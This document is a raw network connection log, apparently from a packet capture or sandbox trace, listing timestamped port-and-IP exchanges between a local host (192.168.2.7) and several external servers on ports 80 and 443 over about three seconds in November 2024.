Nov 21, 2024 22:05:04.707695961 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:04.707757950 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:04.736560106 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:04.772813082 CET	443	49938	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.775820017 CET	443	49938	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.775870085 CET	49938	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.775882959 CET	443	49938	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.775943995 CET	443	49938	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.775996923 CET	49938	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.785240889 CET	49938	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.785259008 CET	443	49938	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.785296917 CET	49938	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.785303116 CET	443	49938	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.789501905 CET	49948	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.789537907 CET	443	49948	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.789628983 CET	49948	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.789771080 CET	49948	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.789783001 CET	443	49948	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.856744051 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:04.863497972 CET	443	49941	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:04.863884926 CET	49941	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:04.863917112 CET	443	49941	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:04.865113974 CET	443	49941	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:04.865466118 CET	49941	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:04.865653038 CET	443	49941	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:04.865672112 CET	49941	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:04.906636953 CET	49941	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:04.906670094 CET	443	49941	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:05.000550032 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.000771046 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.001080036 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.001097918 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.001291037 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.001318932 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.001411915 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.001610994 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.001924038 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.001977921 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.002177000 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.002263069 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.002342939 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.002394915 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.047322035 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.047327042 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.145823002 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.146182060 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.146194935 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.147459984 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.147581100 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.147975922 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.148052931 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.148224115 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.148233891 CET	443	49940	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:05.148262024 CET	443	49940	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:05.148298025 CET	443	49940	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:05.148329973 CET	49940	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:05.148358107 CET	49940	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:05.148618937 CET	49940	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:05.148638964 CET	443	49940	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:05.148649931 CET	49940	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:05.148657084 CET	443	49940	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:05.152226925 CET	49949	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:05.152257919 CET	443	49949	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:05.152396917 CET	49949	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:05.152749062 CET	49949	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:05.152761936 CET	443	49949	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:05.166796923 CET	443	49939	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:05.166954994 CET	443	49939	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:05.167072058 CET	49939	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:05.167179108 CET	49939	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:05.167195082 CET	443	49939	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:05.167205095 CET	49939	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:05.167211056 CET	443	49939	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:05.171039104 CET	49950	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:05.171073914 CET	443	49950	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:05.171145916 CET	49950	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:05.172485113 CET	49950	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:05.172502995 CET	443	49950	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:05.195341110 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.199579954 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.199595928 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.241847038 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.309438944 CET	443	49941	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:05.310075045 CET	443	49941	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:05.310131073 CET	49941	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:05.317013979 CET	49941	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:05.317045927 CET	443	49941	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:05.574404955 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.574424982 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.574439049 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.574484110 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.574492931 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.574505091 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.574516058 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.574523926 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.574548006 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.574558020 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.574575901 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.574595928 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.574621916 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.574637890 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.986407995 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.986422062 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.986423969 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.986430883 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.986454010 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.986468077 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:05.986470938 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.986478090 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.986490011 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.986494064 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.986509085 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.986534119 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.986538887 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.986566067 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:05.986567974 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.986578941 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.986579895 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.986584902 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.986632109 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.986946106 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.986974001 CET	443	49945	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:05.986985922 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.986988068 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.987020016 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.987027884 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.987031937 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.987040997 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.987054110 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.987086058 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.987086058 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.987118959 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.987667084 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.987688065 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.987731934 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.987745047 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.987751007 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:05.987796068 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.987796068 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:05.991763115 CET	49951	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:05.991786957 CET	443	49951	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:05.991945028 CET	49951	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:05.992181063 CET	49951	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:05.992193937 CET	443	49951	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:05.996696949 CET	49945	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:05.996710062 CET	443	49945	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:05.997487068 CET	49945	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:05.997492075 CET	443	49945	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:05.997524023 CET	49945	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:05.997531891 CET	443	49945	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:06.019958973 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:06.041208982 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.048957109 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:06.049022913 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:06.112735987 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.112759113 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.112775087 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.112785101 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.112812996 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.112829924 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.112837076 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.112876892 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.112879038 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.112907887 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.112920046 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.112936020 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.112953901 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.119488001 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.119553089 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.119569063 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.119585991 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.119627953 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.119651079 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.119930029 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.119954109 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.139446020 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.139503002 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.139566898 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.139576912 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.139631987 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.139652967 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.142358065 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:06.164529085 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.164618969 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.164619923 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.164635897 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.164643049 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.164669991 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.164695978 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.164964914 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.164975882 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.189244986 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.189285994 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.189372063 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.189389944 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.189409018 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.189500093 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.196280956 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.196352959 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.196440935 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.196451902 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:06.196486950 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:06.307116032 CET	49952	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:06.307218075 CET	443	49952	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:06.307328939 CET	49952	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:06.307813883 CET	49952	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:06.307857990 CET	443	49952	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:06.407524109 CET	443	49946	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.427218914 CET	49946	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.427275896 CET	443	49946	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.428253889 CET	49946	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.428260088 CET	443	49946	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.462178946 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:06.462255955 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:06.466602087 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:06.517359018 CET	443	49948	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.517903090 CET	49948	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.517947912 CET	443	49948	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.518374920 CET	49948	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.518389940 CET	443	49948	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.535659075 CET	443	49947	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.536288023 CET	49947	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.536314964 CET	443	49947	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.536787987 CET	49947	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.536792994 CET	443	49947	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.586586952 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:06.586713076 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:06.586934090 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:06.700501919 CET	443	49945	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:06.700525999 CET	443	49945	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:06.700571060 CET	443	49945	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:06.700589895 CET	49945	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:06.700606108 CET	443	49945	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:06.700630903 CET	443	49945	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:06.700638056 CET	49945	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:06.700752020 CET	49945	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:06.701941013 CET	49945	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:06.701950073 CET	443	49945	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:06.701958895 CET	49945	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:06.701966047 CET	443	49945	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:06.706557989 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:06.796629906 CET	49954	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:06.796657085 CET	443	49954	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:06.796911955 CET	49954	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:06.797075033 CET	49954	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:06.797086954 CET	443	49954	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:06.820828915 CET	49955	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:06.820867062 CET	443	49955	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:06.821136951 CET	49955	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:06.821376085 CET	49955	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:06.821396112 CET	443	49955	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:06.853596926 CET	443	49946	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.856755972 CET	443	49946	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.857763052 CET	49946	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.858177900 CET	49946	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.858192921 CET	443	49946	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.862808943 CET	49956	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.862864017 CET	443	49956	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.863359928 CET	49956	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.864358902 CET	49956	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.864392042 CET	443	49956	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.910330057 CET	443	49950	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.910820007 CET	49950	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.910861015 CET	443	49950	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.911511898 CET	49950	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.911524057 CET	443	49950	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.931283951 CET	49957	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:06.931341887 CET	443	49957	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:06.931901932 CET	49957	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:06.932207108 CET	49957	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:06.932220936 CET	443	49957	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:06.939076900 CET	443	49949	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.939584017 CET	49949	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.939591885 CET	443	49949	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.940036058 CET	49949	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.940041065 CET	443	49949	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.999147892 CET	443	49947	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.999203920 CET	443	49947	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.999536037 CET	49947	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.999602079 CET	49947	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.999602079 CET	49947	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:06.999610901 CET	443	49947	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:06.999618053 CET	443	49947	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.002228022 CET	49958	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.002259016 CET	443	49958	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.002312899 CET	49958	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.002551079 CET	49958	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.002564907 CET	443	49958	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.127522945 CET	443	49948	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.127710104 CET	443	49948	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.128284931 CET	49948	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.128355980 CET	49948	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.128356934 CET	49948	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.128391981 CET	443	49948	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.128416061 CET	443	49948	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.130980968 CET	49959	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.131017923 CET	443	49959	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.131342888 CET	49959	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.131407022 CET	49959	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.131414890 CET	443	49959	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.380517006 CET	443	49950	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.384236097 CET	443	49950	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.384320974 CET	49950	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.388082981 CET	49950	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.388096094 CET	443	49950	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.388103962 CET	49950	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.388108969 CET	443	49950	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.391846895 CET	49960	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.391882896 CET	443	49960	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.391936064 CET	49960	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.392390966 CET	49960	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.392404079 CET	443	49960	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.436547995 CET	443	49949	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.439779043 CET	443	49949	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.439842939 CET	49949	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.439866066 CET	443	49949	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.439933062 CET	443	49949	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.439985991 CET	49949	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.458364964 CET	49949	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.458390951 CET	443	49949	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.458405018 CET	49949	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.458410978 CET	443	49949	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.461746931 CET	49961	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.461780071 CET	443	49961	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.461869955 CET	49961	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.462157965 CET	49961	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:07.462169886 CET	443	49961	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:07.805887938 CET	443	49951	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:07.806329012 CET	49951	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:07.806337118 CET	443	49951	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:07.807121992 CET	443	49951	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:07.807636976 CET	49951	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:07.807703972 CET	443	49951	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:07.807877064 CET	49951	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:07.807939053 CET	49951	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:07.807962894 CET	443	49951	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:07.982702971 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:07.982717037 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:07.982784986 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:07.983702898 CET	80	49953	185.215.113.16	192.168.2.7
